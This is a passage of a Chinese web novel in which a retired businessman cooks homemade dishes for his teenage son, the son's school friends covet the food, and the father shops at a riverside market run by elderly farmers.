萝卜的生涩被完全去除，只余下清甜和爽脆，配上糖醋汁和小米辣的辣味，吃起来酸甜微辣，特别开胃解腻。 楚瑾钰连着吃了几片，感觉胃口完全被打开，瞬间就爱上这爽爽脆脆的萝卜片。 “小文你腌的萝卜还怪好吃。”表姨奶下午又在菜地忙活好久，本来晚上没什么胃口，但几片萝卜进嘴，她食欲瞬间就上来。 她不知道怎么描述，反正就是感觉好吃，甚至吃得有些上瘾，连着吃了好几筷子。 “这萝卜好吃，配粥肯定香。”表姨爷咬着嘎嘣脆的萝卜片，已经想到明天的早餐去。 托楚易文做的酸萝卜片开胃的福，当天晚上每个人都多吃了一碗饭，桌上菜更是被全部吃干净。 由于明天就要回去，晚饭结束后父子二人就开始收拾东西，而表姨奶他们夫妻俩也没闲着，把家里攒的土鸡蛋、干菜什么的都整理出来。 第二天，经过整夜腌制的酸萝卜片更加入味，酸爽清脆，微辣回甘的萝卜片配上浓稠的大米粥，再来上口香软的鸡蛋饼，简直不要太香。 吃过早餐，楚易文车上的后备箱差点没被表姨奶他们给塞满，任他怎么拒绝都没用。 “还有黄豆和花生，都是今年新下的……” 表姨奶对他们是真好，想着父子二人在外面也没个长辈照应，什么都要给他们带点。 “猪油就算了，你们留着自己吃，我要吃会自己熬。”楚易文眼见猪油罐子都要被塞进车里，哭笑不得地拒绝，同时趁着两个老人注意力都在车上时，示意儿子将自己特意取的现金放到他们房间里去。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 19、第19章 楚易文开着车刚带儿子到家，天色忽然变得阴沉，伴随着电闪雷鸣，雨说下就下下来。 本来楚瑾钰还想着剩下几天假期可以找朋友玩，结果这雨一下就是两天，还被他爸以下雨反正又不能出门为理由，从早到晚催着写作业。 十月七号，假期最后一天，早上醒来发现终于没再下雨，而且厨房里还飘着浓郁香味，楚瑾钰心情特别好。 厨房内，楚易文正站在灶台前煎土豆丝饼，调好的土豆丝糊糊放入锅中，锅铲轻轻一压，土豆特有的香味混着面香瞬间就被煎出来。 “你去把粥先盛出来晾着，再从冰箱夹点酸萝卜。”他听到儿子走过来的动静，头也不回道。 楚瑾钰应了一声，拿碗盛粥的同时眼睛却是落在锅里，看到锅中刚翻个面，露出金灿灿颜色的土豆丝饼时，喉咙不自觉吞咽两下，已经有些迫不及待想吃早餐。 等他把粥盛好端到餐桌上，又从冰箱拿出罐酸萝卜夹在碟子里时，灶台前楚易文用锅铲轻轻压着已经翻过面的土豆丝饼，锅铲和饼面接触间发出咔嚓的声音，听起来就很焦脆。 饼煎好，楚易文手腕握着锅轻轻一抖，那张被煎得特别完美的土豆丝饼直接落入盘中，他手上动作不停，几乎是无缝衔接重新倒入土豆丝面糊糊，继续开始煎下一块。 浓郁的土豆焦香简直不要太诱人，楚瑾钰望着刚出锅的饼，觉得不能自已一个人馋，直接拍下照片发到群里。 此时才八点不到，对于假期的学生来说，真没几个会起床。什么，你说吃早餐？吃早餐哪有睡觉重要。 楚瑾钰之前放假也经常不吃早餐，最近纯粹是被他爸盯着，加上他爸做的早餐味道是真没得说，他才能这个点起来。 群里没人回他，他倒是不失望，反正等人起床时该馋自然还是会馋到。 “可以吃饭了。” 十几分钟后，楚易文终于将土豆丝饼煎完，整整装了满满两大盘。 显然，他今天的日常任务是用土豆丝练刀工，大早上就先切了好几个土豆，全部煎成土豆丝饼。 不过楚瑾钰似乎没觉得多，反而还挺高兴，屁股刚在椅子上坐稳就立刻夹起块土豆丝饼，一口咬下去，焦香酥脆。 土豆丝饼如果要用一个字形容，那就是“香”，边缘焦脆的口感特别香，中间外酥脆里软糯形成对比的口感同样香得人根本停不下嘴。 楚易文煎的是大土豆丝饼，一张就有一个盘子那么大，出锅前用刀切成整齐的三角形。此时楚瑾钰吃得根本停不下来，一片接着一片，压根顾不上喝粥。 土豆丝饼吃起来带着油润感，但却并不腻人，表面的酥脆和内里软糯的口感形成对比，咀嚼间咸鲜味中透着土豆本身的香甜。 看到儿子吃得根本停不下来，整张脸上都写满“好吃”两个字，楚易文先喝了口粥，又吃了口酸爽脆嫩的萝卜片，感觉胃口被打开不少，这才夹起片土豆丝饼。 对于做饭的人来说，过程中闻油烟味就要闻饱了，食欲多多少少会受影响。不过看到儿子那吃相，他倒是有些受感染，很快就解决完筷子上的土豆丝饼，自我感觉火候把握得还不错，就是土豆丝感觉可以再切细些。 享受完美味的早餐，再想到自己作业昨天已经全部做完，楚瑾钰心情那叫一个好啊，难得在饭后主动夸道：“爸你做的土豆丝饼真好吃，特别香。” “你喜欢吃就好，明天我再给你做。” “明天我要上学。” “没事，我早点起来给你做。” 楚易文想着反正都要切丝，早点起来切完顺便做成土豆丝饼也不费什么事。 见他爸竟然愿意早起给他做早餐，楚瑾钰微微愣住，半响后才开口：“随便，你要不嫌麻烦你就做呗。” 他说完直接回房间去，躺在床上想着最近这些日子发生的事情，觉得他爸怕不是突然想起来有他这个儿子。 早干嘛去了？ 楚瑾钰其实很想冷笑两声说自己不稀罕，但想到刚刚吃的那香喷喷的土豆丝饼，又觉得自己还是有点稀罕的，稀罕他做的好吃的。 就在他感觉有点烦躁时，手机忽然响起来，却是胡一齐连着发了几条消息过来。 【看起来好好吃，还有没？我还没吃早餐。】 【人呢？快出来，给我送点，我也要吃，看得我馋死了。】 【你不送的话，我去你家吃也行。】 楚瑾钰隔着消息都能脑补出他那副馋相，按着手机回复【你早干嘛去了，现在说我都吃完了。】 他是真缺德，吃完就算了，偏偏还要描述一下土豆丝饼有多好吃，什么“金黄酥脆”、“外焦里嫩”、“咸香可口”，把胡一齐馋得在床直打滚。 【你有本事来我家，看我打不打你。】 楚瑾钰心说他又不傻，干嘛跑过去讨打。 土豆丝饼是吃不上，最终胡一齐点了薯饼和豆浆当早餐，不过吃完却是跟楚瑾钰吐槽，说薯饼第一口香，多吃两口就很油腻。 对此，楚瑾钰带着点炫耀表示薯饼用油炸出来肯定油，不像他吃的土豆丝饼，是煎出来的，香而不腻，别提有多好吃。 叶其林和商时贸虽然不像胡一齐那么热爱美食，但都是少年人，好吃的东西谁会不喜欢。眼见楚瑾钰现在几乎天天在炫耀各种好吃的，他们二人也加入胡一齐那边，喊他明天带点来尝尝。 群里其他三个人合起伙来，楚瑾钰哪里扛得住，尤其是明天就要去学校，他想到国庆期间自己确实没少馋人，未免真要被打，直接答应下来。 【行行行，明天给你们带早餐。】 和朋友聊一会，楚瑾钰渐渐忘记刚才生起的那点小烦躁，开始喊他们一起打游戏。 美好的假期总是过得特别快，日升日落，转眼就到天黑，厨房里再次飘出饭菜香。 “嗯？怎么又有土豆？” 楚瑾钰坐在餐桌前准备吃饭时，最先注意到那盘酸辣土豆丝。 倒不是他不爱吃土豆，主要早上吃的土豆丝饼，中午有土豆片炒肉，晚上又有酸辣土豆丝，他感觉今天土豆在餐桌上存在感有点强。 楚易文等到他吃了口酸辣土豆丝才开口：“不好吃吗？” 酸辣爽口的土豆丝吃起来特别开胃，泡去淀粉的土豆丝吃起来特别脆嫩，和米饭简直是绝配。 “挺好吃。”楚瑾钰连吃两口酸辣土豆丝，觉得这菜简直太下饭，瞬间抛开晚餐有土豆的疑问，觉得好吃更重要。 吃饱喝足，帮忙把碗筷收到洗碗机里后，楚瑾钰没立刻回房间，而是坐在客厅随意调着电视频道。 楚易文感觉他好像有话要说，特意在沙发上坐下来等，等半天没等到他开口，只能主动询问：“书包整理好没？作业明天别忘记带到学校去。” “知道了。”楚瑾钰说完看他一眼，“爸，你明天真要做早餐吗？我七点前就得到学校，其实学校食堂有早餐吃。” 十几岁的年纪有时候就是容易别扭，明明都已经答应从家里给朋友带早餐，此时偏偏还要言不由衷。 “没事，我本身起得就早。” “哦。”楚瑾钰点点头，其实很想再说一声自己要给朋友带，让他多做些，但最终话堵在喉咙里还是没说出来。 算了，反正只是答应带给他们尝尝，又没说要管饱。 楚瑾钰心里想着，又在沙发前坐着跟他爸看了会电视才起身回房间去。 等儿子离开，楚易文视线依旧落在电视机屏幕上，心里却有些想叹气。 次日早上，六点不到楚易文就已经来到厨房，先将做完提前泡好的黄豆丢入破壁机里打豆浆。 从老家回来时带了不少表姨奶自己种的黄豆和花生，这两样都是好东西，打成豆浆又好喝又有营养。除了黄豆和花生，里面还稍微加了点大米和冰糖，前者能为豆浆增加顺滑口感，后者增加清甜味，让豆浆喝起来甜而不腻。 豆浆在破壁机里慢慢打着，楚易文开始洗土豆、切土豆丝。经过最近几天的练习，他如今刀工有所进步，土豆丝已经能切得特别细。 切好的土豆丝加入盐、五香粉等调料轻轻搅拌，再加入适量面粉，接下来就可以直接煎。一回生二回熟，昨天做过一次后今天他对土豆和面粉比例把握得更好。 十几分钟后，盘子里已经堆起不少金灿灿的土豆丝饼，同时厨房里飘出带着花生香甜气息的豆浆味。 平常总是要睡到六点四五十分才起床，早读没少迟到的楚瑾钰今天六点十几分就醒来，看眼时间后没选择继续赖床，而是直接起床去洗漱。 等他从房间出来，已经闻见土豆丝饼特有的香气，以及带着花生味的香甜气息。 “快来吃早餐。” 楚易文听到他起床，想到上学时间，赶紧招呼他过来先吃。 诱人的香气唤醒楚瑾钰沉睡整晚的食欲，站在厨房直接吃了块土豆丝卷饼，脸上瞬间露出满足的表情。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20、第20章 楚易文余光看到儿子站在那光吃饼，给锅里土豆丝饼翻个面后顺手把豆浆倒出来推到他手边：“别光吃干的，喝点豆浆。” “嗯。”楚瑾钰应了声，右手继续夹着土豆丝饼，左手端起豆浆喝起来。 表姨奶给他们装的都是最好的黄豆和花生，打成豆浆那叫一个香，口感更是浓郁顺滑。 楚瑾钰这个年纪的学生平常更爱喝冷饮，但此时温热的豆浆入喉，他越喝越觉得好喝，尤其是跟土豆丝饼搭配起来。 一口焦香酥脆的土豆饼，一口清甜浓郁的豆浆，好吃到他瞬间就把给朋友带早餐给忘记，自己站在那吃得已经不知天地为何物。 好在胡一齐是个真吃货，起床第一件事就是发消息提醒，让他千万别忘记说好的土豆丝饼。 手机刚响起消息提醒时楚瑾钰直接无视，但当接连不断响起好几声时，他终于放下豆浆抽空看了眼。 靠，差点忘记…… 楚瑾钰咽下嘴里香喷喷的土豆丝饼，视线在厨房里扫过两圈后开口：“爸，上学要来不及了，我带去学校吃。” “不是七点前到学校吗？没事你慢慢吃，不行我开车送你过去。” “不用了，就那么几分钟路程，哪用开车。”楚瑾钰说完直接去柜子里找东西打合适的东西来打包。 “保鲜盒会把饼焖软，影响口感。” 楚易文见儿子非要带到学校去吃，否定他手里刚找出来的保鲜盒，找了保鲜袋出来给他装。 怕儿子吃不饱，他把煎出来的两盘土豆丝饼都装起来：“够不够？不够我赶紧再给你煎几张。” 要是楚瑾钰自己吃，那这些肯定够，甚至能把他给撑着，但想到学校那几个家伙，他开口道：“好，我感觉今天特别饿。” 楚易文闻言立刻继续煎起土豆丝饼来，同时招呼他道：“你把柜子里那个大保温杯拿出来洗一下，把豆浆装进入。” 换做平常楚瑾钰肯定会嫌麻烦，但想到豆浆的口感，最终决定还是好人做到底，给那几个家伙带点。 十分钟后，楚瑾钰从家里离开，装满豆浆的保温杯被他塞进书包里，土豆丝饼则被他抱在怀里，边走边吃。 他家离学校是真近，三块土豆丝饼进肚子，人已经走到教室。他走在路上时，香味飘出去就馋到不少路人，等进教室时，更是引得教室内同学纷纷抬头。 楚瑾钰在学校里不算那种好相处的性格，跟他玩得最好的就是胡一齐他们几个，因此同学们看到是他带进来的香味，哪怕心里觉得很香，却是很快就收回视线。 【你们怎么还没来？再不来我就吃完了［图片］】 楚瑾钰见胡一齐他们还没来，在座位上坐好就直接在群里发消息，同时还配了张他咬土豆饼的照片。 【啊啊啊啊！嘴下留饼，我已经在上楼了！你快别吃了，给我留点……】 他们班在三楼，看得出来胡一齐是真急，消息刚发出来没几秒，人就已经出现在教室门口。 “哎呦，累死我了，好香啊，快把饼给我。” 楚瑾钰见他气都没喘均匀就惦记着吃，没好气地在他那肉乎乎的手心拍一巴掌，随即才递块饼过去。 胡一齐刚吃上饼时，叶其林和商时贸前后脚走进教室，闻见那股格外诱人的土豆焦香，直接看向教室后排：“老四，你还真带土豆丝饼了？闻起来还挺香。” “就这吃货，我要是不带，还不被他烦死。”楚瑾钰指着旁边大口咀嚼的胡一齐，语气带着嫌弃。 土豆丝饼带过来时袋子没封口，吃起来虽然比刚出锅时要差点，但依旧焦香酥脆，尤其是饼最边缘那圈，香得胡一齐差点没咬到舌头。 “太好吃了，怎么会有这么香的土豆饼，再给我来几个。”胡一齐说完直接伸手从袋子里拿。 见他拿着两块土豆丝饼左右开弓，吃得腮帮子都鼓起来还继续往嘴里塞，叶其林嘴里吐槽着“你至于吗”，手上却是很诚实地赶紧拿了块饼，免得待会手慢无。 跟他们俩比起来，商时贸就要矜持得多，先把书包放好，又拿湿纸巾擦擦手，最后才戴上一次性手套去吃饼。 “确实好吃，外焦里嫩，吃起来还不油。”商时贸说完咀嚼速度都明显加快不少。 楚瑾钰其实已经吃饱了，看到他们吃得香，没忍住又拿起一块慢慢吃起来。听到他们对自家老爸手艺的夸赞，心里有种与有荣焉的感觉。 他们学校是先早读再吃早餐，随着土豆丝饼的香味在整个教室蔓延开来，终于有平时跟楚瑾钰关系还过得去的男生忍不住开口问他是在哪买的早餐。 “我爸做的。” 他话落，班级里立刻响起小声议论，有人惊讶他爸竟然会做这么香的早餐，还有人则是羡慕他爸竟然会给他做早餐。 楚瑾钰隐约听见同学们羡慕的声音，面上不显，心里却是有些愉悦，随即想到还有豆浆，赶紧把保温杯拿出来。 他豆浆拿出来正是时候，胡一齐由于吃得太急，差点没把自己给噎着。 “你慢点吃，又没人跟你抢。”楚瑾钰有些无语，赶紧把保温杯上自带的杯子拿下来倒杯豆浆递过去。 吃完咸香的土豆丝饼再来口清甜的豆浆，简直不要太爽。 胡一齐咕噜咕噜喝完豆浆，舒服地叹息一声才指着叶其林他们俩说：“哪没人抢，你看他们吃得有多快。” “就你吃得最多，还好意思说我们。”叶其林白他一眼，说完再次伸手去拿饼。 胡一齐见袋子里只剩最后一块，着急道：“你给我留点，我都没吃饱。” 眼见他们俩抢起来，楚瑾钰摇摇头后视线落到前桌两耳不闻窗外事，一心只读圣贤书的学霸身上，想到平常没少抄人家作业，将手里还没吃的饼递过去：“邵言易，尝尝我爸做的饼。” “谢谢，不用。”邵言易借作业给他们抄并不是想跟他们打好关系，只是本着多一事不如少一事的想法，觉得借给他们比不借要省事，此时哪怕同样觉得很香，还是直接拒绝。 “他不吃我吃。”胡一齐说完直接把楚瑾钰手里饼接下来，感觉真是怎么吃怎么香。 由于是最后一块，他速度终于慢下来，仔细品尝着土豆丝饼的滋味。土豆丝被煎成饼后依旧保持着根根分明，咀嚼间酥脆与软糯两种口感互相交织，土豆的香甜搭配盐的咸鲜，以及油脂香，让人越吃越香。 “豆浆也是你爸做的吗？味道真不错，不是很甜，但豆香和花生香很浓郁。”商时贸用自己杯子喝着豆浆，觉得这豆浆味道越喝越惊艳。 “对。”楚瑾钰点头，“我爸早上现打的豆浆，用的黄豆、花生都是从老家带回来的，是我表姨奶他们自己种的。” “豆浆好喝，土豆饼更是好吃，就是你带得太少了，我都没吃饱。”胡一齐回味着嘴里的余味，感觉根本没吃够，“你喊咱爸明天多做点呗。” “滚，什么咱爸，那是我爸。”楚瑾钰见他吃个土豆饼就喊上爸，又好气又好笑。 “你看你，多见外，咱们都是亲兄弟，还分个什么你我，你爸不就是我爸，弟啊，还有没有吃的？刚刚那土豆饼把我吃开胃了，现在好饿。” 楚瑾钰书包里倒还真有其他吃的，他随手拿出来道：“有酸萝卜片，你要吃吗？” 谁家好人大早上空口吃酸萝卜片，他纯粹是拿出来逗胡一齐玩，没想到胡一齐竟然还真点头。 “这也是咱爸做的吗？看着就好吃，瓶子没打开我口水都要下来。” 胡一齐说完就要拧开盖子，结果就听见前面传来一声“老师来了”，咋得他赶紧把玻璃瓶藏起来。 “什么味？你们谁在教室吃早餐了？”老师一进门就闻见股香味，搞得他都有点饿了。 班里没人吭声，老师也没再问，而是在教室里转悠两圈后提醒学习委员记得收作业。 “完蛋！”胡一齐听到收作业三个字，终于想起来自己放假玩嗨了，作业还没做。 “快快快，邵言易，江湖救急。” 看到他着急忙慌找邵言易借作业抄，楚瑾钰心里忽然生起点优越感，脸上不由露出笑来。 “你笑什么，还不赶紧抄。”胡一齐借到作业后将其中一本递给他。 “我作业早写完了。” “靠！你小子竟然背着我们写作业！叛徒！” 这边楚瑾钰感受到不用补作业的轻松，正得意洋洋时，另外一边，楚易文吃过早餐后正在逛菜市场。 获得系统奖励的厨神之眼后，他现在看几眼就能判断食材的好坏，倒是很方便他买菜。 之前在老家时，他跟同辈人聊天不免会聊到孩子这个话题，听到有个表姐说起晚上会在孩子下自习后给孩子加餐。他想到自家儿子饭量挺大，晚自习回来或许也会饿，想着可以炖点汤等儿子晚上回来喝。 之前他在老家炖过莲藕排骨汤，当时那锅汤被喝得连汤渣都不剩，楚易文就想着今天再炖点，结果菜市场里倒是有莲藕，却都是脆藕。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20-30 第21章 芋头烧鸡 脆藕炖汤不好吃, 楚易文微微摇头就准备换个地方看看，结果刚转身脚边滚过来好几个土豆。 发现是前面有位大姐手里袋子破了，导致土豆全掉地上, 他顺手帮忙捡起来。 “谢谢。”大姐一看就是个社牛的性格，道谢完就对着他夸起来，说很少看到像他这样的年轻男人来菜市场买菜。 其实楚易文已经快四十，比这位大姐估计小不了多少岁，只是他长得不错，看起来显年轻。 得知他要买莲藕炖汤，大姐热情道：“你要不嫌麻烦, 我告诉你去哪有好藕卖……” 楚易文现在左右无事，自然不会嫌麻烦。 得知他有空，大姐直接告诉他在码头那边有个菜市场, 那里有人卖从塘里现挖的藕。 码头那边什么时候有菜市场了？ 楚易文有些疑惑，不过并没有说出来，主要他感觉这位大姐太过热心, 他怕自己多问一句，对方就要滔滔不绝给他介绍起来。 云市这边靠近长江, 有码头很正常。楚易文很久没来过这边，今天开车过来，感觉附近变化还不少。 他找位置把车停好，步行走到码头菜市场里, 发现这菜市场有点简陋，而且里面根本没什么人。 现在才八点左右，楚易文觉得菜市场应该不至于这么早收摊，于是从附近随便找了个人询问起来：“你好，这里是码头菜市场吗？怎么没看到摊子？” “你是第一次来吧？这里和普通菜市场不同, 摊主是附近乡下种菜的老人，他们都得坐船过来，所以要等船开过来才有人买菜。” “原来是这样，谢谢了。”楚易文了解地点点头。 刚刚说话的人怕他不愿意等直接离开，忍不住又多说两句：“你看江面，已经能看到船了，你要是没事就再等一下，这里的菜绝对又好又新鲜。” 至于说那些老人过来卖菜不容易的话她没有多说，怕让人误会自己在道德绑架。 “好。”楚易文点点头，视线落到远处的江面上，他视力不错，已经能看到甲板上摆放的各种瓜果蔬菜。 他视线从船转移到码头前长长的阶梯上，没看到什么方便运货的机械，顺口问身边人：“那些菜待会怎么拿上来？” “挑上来呗。” 这次回答他的是旁边另外一个中年人，他说完人就已经开始往下面走。 楚易文带着点疑惑望着他背影，就见船已经靠码头，船上老人不论男女，都挑着担背着筐慢慢往外走。 看到这些老人背着重担一步一步爬楼梯，本就弯的腰被压得更低，他不由想起已经去世的父母。他父母也是农民，他心里甚至觉得，父母就是以前日子过得太苦，才会那么早就逝世。 在看到刚刚那个中年男人，以及最开始给自己介绍菜市场的女人走下去帮老人挑担时，楚易文没怎么犹豫就也往下走。 “婶子，我来帮你。” 头发有点白的老太太挑着担，担两边是堆得满满土豆和红薯，上面还压着好几个大包菜，看起来就特别重。 老太太挑着担走得很不容易，但在楚易文伸手去接担子时，她第一反应却是：“不用不用，别把你衣服搞脏了。” 又不去公司，楚易文今天穿着打扮偏休闲风，但他一个白手起家的大老板，身上气质摆在那，不怪老人拒绝他帮忙。 “没事。”楚易文并不在意，坚持将担从老人肩膀上拿下来。 担子从身上卸下来，老太太浑身一轻，背都重新挺直不少，拱手跟他说谢谢。 楚易文十来岁时在老家挑过担，倒是有经验，不过在扁担落在肩膀那瞬间，他却是下意识在心里嚯了一声，感叹这担子可是不轻。 他一个正当青壮年的男人都觉得重，都不敢想老太太刚刚是怎么挑的，心里有些不是滋味。 楚易文本来是来买菜的，在发现买菜的都是老人，而且还得挑担子爬楼梯后，他也不急着买菜了，上上下下帮着不少老人把菜弄上来。 “好小伙。” 特意过来这边买菜的人不少，有些年纪大了帮不上忙，看到楚易文把菜挑上来，好几个等着买菜的顾客都笑着夸他。 楚易文被整得有些不好意思，眼见没有需要帮忙的人了，转身在菜市场里逛起来，很快就走到个卖藕的老人面前。 老人面前摆着个大竹筐，里面装的全是藕，以楚易文的眼光来看，这筐藕又干净品质还好，一看就是精心挑选出来。 粉藕就是要表皮颜色深，长得粗短的才好。楚易文站在摊子前张口就先夸起来：“你这藕看着就好，炖出来肯定特别粉糯。” 老人听见他夸自家莲藕，脸上笑得皱纹都出来，捏着袋子问他要不要买点。 “给我装十斤。” 老人听到他要十斤，高兴的同时却是先问一句：“能吃完吗？炖汤用不了那么多。” “没事，能吃完。” 旁边有人听见楚易文夸这藕炖汤好，纷纷都围过来，你一斤我两斤地买起来。 排骨之前已经买好，本来楚易文只准备过来买点莲藕就回家，现在到地方，可能是觉得这些老人都不容易，于是决定多买点。 “这芋头不错，给我装五斤。” “这是野山梨吧？来五斤，还有那豆角也给我装点。” 楚易文边逛边买，在发现还有人直接带了活鸡活鸭过来卖时，干脆又买只鸡。 其实之前在老家时，表姨奶本来准备拿几只鸡鸭给他带回来吃，但他想着回来那几天已经吃了好几只鸡，哪好意思再糟蹋她辛辛苦苦养的鸡鸭。 最后从菜市场离开时，楚易文手里提满了各种菜和一只活鸡，还好他是开车回来，否则都不好拿回家。 当然，菜市场之行也有好处，让他又收获好几个菜谱，有芋头烧鸡、干煸藕丝、豆角炒肉、豆角焖面。他东西是没少买，不过到家后望着空荡荡的房子，中午他却是没做什么菜，随便炒个饭就直接当午餐。 吃完午饭他没急着去学菜谱，而是拿上鱼竿出门钓鱼去。 * 云市一中。 “终于放学了，今天食堂有红烧排骨，咱们赶紧走，去晚就没有了。” 下课铃声刚响胡一齐立刻起身，还不忘拿上装酸萝卜的玻璃罐。 “你是真有毒，就没见过有谁把酸萝卜当零食吃的。”叶其林边跟在后面边忍不住吐槽。 早读那会由于老师突然过来，胡一齐没吃上酸萝卜，不过等到课后时间他立刻就把盖子打开尝起来，这一尝可不得了，他简直吃上瘾，时不时就要来一片。 刚刚上课时他还偷吃酸萝卜，飘出去的酸爽味直接让老师闻见，在询问是谁吃的没问出来后，直接把坐在靠胡一齐这边的都给批评一顿。 “没办法，谁让咱爸做的这酸萝卜太好吃了，给我都吃开胃了，你们走快点。”胡一齐说完不忘催他们。 楚瑾钰带酸萝卜过来纯粹是他家冰箱塞了好多，觉得可以带过来消耗一下，但他是真没想到，胡一齐这个人才一上午就吃掉大半瓶酸萝卜。 四人到学校食堂后运气还不错，成功打到红烧排骨。红烧排骨属于食堂抢手菜色，学生们恨不得天天吃那种。 以前楚瑾钰也觉得学校红烧排骨还不错，但在吃过他爸做的红烧排骨和蜜汁排骨后再看面前这份，感觉颜色不够漂亮，香味更是不够诱人。 “太甜了，肉炖得感觉不够烂。”楚瑾钰夹起块排骨送入嘴里，用力咬几下才把肉咬下来，咀嚼间感觉甜味几乎压过咸鲜味，吃起来有点容易腻。 “甜吗？我感觉还好啊。” 胡一齐已经在吃第二块排骨，感觉还是之前的味道。 “没我爸做的好吃，我爸做的是咸鲜微甜，而且肉轻轻一咬就能脱骨，吃起来香而不腻。”楚瑾钰说完打开桌上的玻璃瓶，夹起片酸萝卜送进嘴里，那酸爽脆嫩中带着微微辣味的萝卜，吃起来特别解腻。 之前在教室里品尝时，商时贸也觉得酸萝卜味道不错，只是他比较克制，不会像胡一齐一样吃个不停。 此时看到楚瑾钰吃萝卜，他跟着夹几片放到碗里，越吃越觉得开胃。 胡一齐明明嘴里已经在吃红烧排骨，但听到楚瑾钰描述还是有被馋到。如果之前他还怀疑楚瑾钰在夸张，但在吃过土豆丝饼和酸萝卜片后，他已经相信楚瑾钰说的都是真的。 “老四，不是我说你，你说咱爸做饭那么好吃，你干嘛还来吃食堂，直接回家吃呗，反正离得又不远。”胡一齐想得很好，只要楚瑾钰开始回家吃饭，不怕自己找不到过去蹭饭的机会。 楚瑾钰：“他哪有空。” “怎么没空，咱爸再忙他自己也总要吃饭的，你先问问他，万一他同意呢！” 学校食堂里真没什么好吃的，附近的外卖胡一齐也有些吃腻了，现在好不容易有换换口味的机会，他努力说服。 没人会讨厌美食，叶其林想着今早吃的土豆丝饼，觉得要是真能去楚瑾钰家蹭饭确实不错，便开口跟着劝了几句。 “那我要怎么说？直接说让他在家给我做饭？”楚瑾钰又一口没一口吃着面前的午餐，显然对比起来他还是更喜欢吃他爸做的，只是不知道怎么开口。 胡一齐：“直接说呗。” 认识那么多年，除开胡一齐这个心大的，叶其林和商时贸哪看不出来他性格里那点小别扭。叶其林直接给他出主意：“很简单，你就直接跟你爸说咱们学校食堂菜有多难吃，他只要有空，肯定不用你说就会喊你回家吃饭。” 楚瑾钰觉得这办法不错，点头记在心里。 以前他就不是很爱吃食堂，国庆假期吃惯他爸做的菜，现在再吃食堂，感觉更加难吃。就在他准备夹点酸萝卜下饭时，结果发现瓶子竟然空了。 “你们是真能吃……” 楚瑾钰有些无语，打死他都想不到，满满一大瓶酸萝卜连中午都扛不住就被吃光光。 “你要怪就怪他。”叶其林觉得自己压根没吃多少，锅都是胡一齐的，谁让他上午没事时就在那吃。 胡一齐咬着嘎嘣脆的酸萝卜，等把嘴里饭菜咽下去才开口：“关我什么事，要怪就怪老四你带得太少了。” “这么大一罐还少？”楚瑾钰被他给气笑了，想到他爸最近没事就喜欢做酸萝卜，反正冰箱里已经塞了一堆，于是道，“行，嫌少是吧？我明天多拿几罐来，让你吃个够。” 学校里楚瑾钰跟几个朋友吃完饭打打闹闹回教室时，楚易文已经出门钓鱼。 其实云市能钓鱼的地方不少，不过他最终还是去了之前遇到猫的河边，还特意带猫粮和小鱼干过去投喂。 流浪猫们警惕性都比较高，不过可能是楚易文之前就投喂过几次，猫猫们记住他味道，有几只还挺亲人，尤其是有只三花猫，直接跳到他怀里趴着。 十月份的天气不冷不热，坐在河边撸着猫钓着鱼，简直不要太悠闲。楚易文享受着从河面吹过来的风，感受着手底下毛茸茸的触感，忽然觉得现在这种日子才叫生活。 终于有鱼上钩时，他很是偏心地把鱼直接塞给怀里那只三花猫，同时怕其他猫跟它抢，又在旁边洒了不少猫粮。 在猫猫们都埋头苦吃时，他手机忽然响起来，他将竿重新抛出去才接电话：“喂……” 打电话过来的是吴有健，找他倒是没什么事，主要是关心一下他最近在忙啥。 得知他现在在钓鱼，在公司里加了几天班的吴有健心里羡慕得不行：“楚易文啊楚易文，你真是堕落了，想当年你多勤奋啊，现在倒好，四十岁不到就开始过上退休生活。” 听出他话里的酸意，楚易文笑着道：“钱是赚不完的，赚钱本来就是为了过上更好的生活，你要是羡慕也一起来呗。” 其实刚放下公司时他还有点不习惯，总感觉心里空落落的，不过最近倒是想明白，觉得赚够钱不享受生活，那就失去赚钱的意义。 “我没你那么潇洒，家里还有好几个孩子要养呢，怎么也得干到他们都大学毕业再说。”吴有健觉得自己还年轻，至少还能干个二三十年，“话说回来，你之前不是说退出公司是为了你儿子吗？你这跑出来钓鱼也是为了儿子？” 听到他声音里的打趣，楚易文开口道：“怎么不算，鱼多有营养，我钓到鱼回去可以做红烧鱼或者炖鱼汤给他吃。” “你做？别开玩笑了。” 楚易文说得认真，吴有健却是压根不信，又打趣几句便挂掉电话。 电话结束后楚易文继续钓鱼，他今天运气不怎么样，只钓到几条小鱼，干脆都留给猫猫们吃。 回到家，他休息会就开始处理食材准备炖汤做晚饭。 早上在码头菜市场买的莲藕是真不错，切开藕丝拉得特别长，藕洞里更是肉眼可见的干净新鲜。他将莲藕去皮切成滚刀块先泡在水里备用，随即开始给排骨焯水。 冷水下锅除去排骨的血水与腥味后，楚易文翻出新买的砂锅，将排骨和莲藕放进去，又加入点去腥的姜片后开始炖起来。 他守在灶台边，等大火将汤烧开，用勺子把表面浮沫撇干净，随即才转小火慢炖。用砂锅炖出来的汤味道特别鲜美，但很费时间，至少得炖一个半小时以上。 将火转小后楚易文没再守在跟前，而是去旁边炒豆角。他还没去系统厨房里学习今天新获取的菜谱，豆角什么的就凭感觉炒，先将蒜爆香，再切点肉煸出油来，最后把豆角下进去一起炒。 豆角炒肉他没学过，但有之前做其他菜的经验在，菜出锅看起来倒是挺不错。 自己一个人吃饭，楚易文懒得费太多心思，豆角炒好，再给自己煎个鸡蛋就直接开始吃，连汤都没有等。 吃完饭他没什么事做，干脆坐在客厅里边看电视边等儿子回家。挺久没有坐下来好好看会电视，现在一看，楚易文越看越香吐槽现在电视剧拍的都是什么玩意。 在他实在没忍住，开了电视会员翻出老剧重温起来时，学校那边，楚瑾钰终于等到放学铃声。 最后一节自习时，胡一齐不停在他耳边叨叨，让他明天继续带土豆丝饼，多带点之类的话，把他念叨烦了，终于等到放学，他直接拎起书包就跑。 等跑回自家小区时，他脚步渐渐慢起来，不过由于他家离正大门不远，走得再慢还是很快就到家门口。发现家里灯在亮着，楚瑾钰心里又犯起嘀咕，奇怪他爸怎么国庆假期结束还那么闲，竟然比他先到家。 “回来……你脸上怎么了？跟同学打架了？” 楚易文听到他回来的声音，起身正要去厨房给他盛汤，结果就看到他脸上好像青了一块。 楚瑾钰见他看到自己受伤第一反应是怀疑自己打架，小脾气瞬间就上来，语气不太好：“没打架。” 其实真不怪楚易文看到他受伤第一反应就觉得他打架了，主要他从小学到初中就没少在学校里打架，即便那会是爷爷奶奶带他，尽量帮他瞒着，楚易文还是接到过好几次老师的告状电话。 